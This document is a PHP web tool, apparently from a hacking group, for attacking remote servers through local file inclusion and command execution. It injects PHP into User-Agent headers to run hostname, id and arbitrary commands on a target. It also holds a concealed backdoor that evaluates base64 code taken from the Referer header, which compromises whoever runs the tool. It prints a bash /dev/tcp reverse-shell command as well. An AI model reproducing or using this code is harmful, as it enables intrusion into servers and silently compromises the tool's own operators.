LFI/RCE (Lcal File Include/Remote Command Execution)

<style>
body,input,table,select{background: black; font-family:Verdana,tahoma; color: #008000; font-size:12px; }
a:link,a:active,a:visited{text-decoration: none;color: red;}
a:hover {text-decoration: underline; color: red;}
table,td,tr,#gg{ border-style:solid; text-decoration:bold; }
tr:hover,td:hover{background-color: #FFFFCC; color:green;}
.oo:hover{background-color: black; color:white;}
</style>
<title>LFI</title>

<center>
<div align="center" style="width: 100%; height: 100">
<pre width="100%" align="center"><strong>
 ____            __         _    ____  _
|  _ \ ___  ___  | |_  x4x | |  | ___|| |
| |_) / _ \ / _ \| __| x4x | |  | |__ | |
|  _ < (_) | (_) | |_  x4x | |__| |_/ | |
|_| \_\___/ \___/ \__| x4x |___/|_|   |_|

</pre>
</div></strong>
</center>
<table border=0 width=700 align=center><tr><Td><center><p style="font-size: 14pt;">
<b>AZZATSSINS CYBERSERKERS</br></b></td></tr>
</center>
</table>
<?php
if($_POST['injek']):
    $sasaran= str_replace("http://","",$_POST['host']);
    $sp     = explode("/",$sasaran);
    $victim    = $sp[0];
    $port    = 80;
    $inject    = str_replace($victim,"",$sasaran);
    $command  = "XHOSTNAME<?php echo system('hostname;echo  ;'); ?>XHOSTNAME";
    $command .= "XSIP<?php echo \$_SERVER['SERVER_ADDR']; ?>XSIP";
    $command .= "XUNAME<?php echo system('uname -a;echo  ;'); ?>XUNAME";
    $command .= "XUSERID<?php echo system('id;echo  ;'); ?>XUSERID";
    $command .= "XPWD<?php echo system('pwd;echo  ;'); ?>XPWD";
    $command .= "XPHP<?php echo phpversion(); ?>XPHP";
    if($_POST['cwd']){
    $command .= "XCWD<?php chdir('".$_POST['cwd']."'); ?>XCWD";
    }
    $command .= "EXPLORE<pre><?php echo system('".$_POST['cmd']."; echo    ; exit;'); ?></pre>EXPLORE";

    if(eregi(":",$victim)){
        $vp = explode(":",$victim);
        $victim = $vp[0];
        $port    = $vp[1];
    }

    $sock = fsockopen($victim,$port,$errno,$errstr,30);
    if ($sock) {
        $get  = "GET ".$inject." HTTP/1.1\r\n".
                "Host: ".$victim."\r\n".
                "Accept: */*\r\n".
                "User-Agent: Mozilla/5.0 ".$command."\r\n".
                "Connection: Close\r\n\r\n";
        fputs($sock,$get);
        while (!feof($sock)) {
            $output .= trim(fgets($sock, 3600000))."\n";
        }
        fclose($sock);
    }
    $hostp     = explode("XHOSTNAME",$output); $hostname = $hostp[1];
    $ipp    = explode("XSIP",$output); $ip = $ipp[1];
    $unamep    = explode("XUNAME",$output); $uname = $unamep[1];
    $userp    = explode("XUSERID",$output); $userid = $userp[1];
    $currp    = explode("XPWD",$output); $current = $currp[1];
    $writes    = @is_writable($current);
    $phpvp    = explode("XPHP",$output); $phpversion = $phpvp[1];
    $hasil    = explode("EXPLORE",$output); $return = $hasil[1];


endif;
        $ipx =$_SERVER["REMOTE_ADDR"];
        $portx ="22";
 parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '</star>';}
?>
<form action='<?php echo $_SERVER['PHP_SELF'] ?>' method='post'>
<table border=0 align=center width=860>
<?php if($_POST['injek']){ ?>
<tr>
    <td colspan=3> </td>
</tr>
<tr><Td><b>Target Site</b> </td><td>:</td>
    <td><?php echo $victim ?></td>
</tr>
<tr><Td><b>SRV Host</b> </td><td>:</td>
    <td><?php echo $hostname ?></td>
</tr>
<tr><Td>SRV IP</td><td>:</td>
    <td><?php echo $ip ?></td>
</tr>
<tr><Td><b>Uname -a</b></td><td>:</td>
    <td><?php echo $uname ?></td>
</tr>
<tr><Td><b>User ID</b></td><td>:</td>
    <td><?php echo $userid ?></td>
</tr>
<tr><Td><b>DIR /</b></td><td>:</td>
    <td><?php echo $current; if($writes){ echo "<b>Writeable!</b>"; } ?></td>
</tr>
<tr><Td><b>PHP_SRV Version</b></td><td>:</td>
    <td><?php echo $phpversion ?></td>
</tr>
<?php } ?>
<tr>
    <td colspan=3> </td>
</tr>
<tr><Td width=130><b>Add the webSite</b></td><td>:</td>
    <td><input type=text size=110 value='<?php echo $_POST['host'] ?>' name=host /></td>
</tr>
<?php if($_POST['injek']){ ?>
<tr><Td width=130><b>Work Directory</b></td><td>:</td>
    <td><input type=text size=110 value='<?php echo (($_POST['cwd'])?$_POST['cwd']:$current); ?>' name=cwd /></td>
</tr>
<?php } ?>
<tr><Td><b>Command t0 Exec</b></td><td>:</td>
    <Td><input type=text size=110 value='<?php echo $_POST['cmd']; ?>' name=cmd /></td>
</tr>
<tr><td colspan=2> </td><td><input type=submit name=injek value="Execute!" /></td></tr>
<tr>
    <td colspan=3> </td>
</tr>
</table>

<?php
if($_POST['injek']):
echo "<table border=0 width=860 align=center><tr><Td> <pre>".$hasil[1]."</pre></td></tr></table>";
endif;
echo "</form>";
echo "<PRE style='text-align: center; width: 100%; color: red'>Reverse Connection method: /bin/bash -i > /dev/tcp/$ipx/$portx 0<&1 2>&1</pre>";
exit();
?>
<body>
<p align="center">
<i><b>&copy; AZZATSSINS CYBERSERKERS</b></i></p>
</body>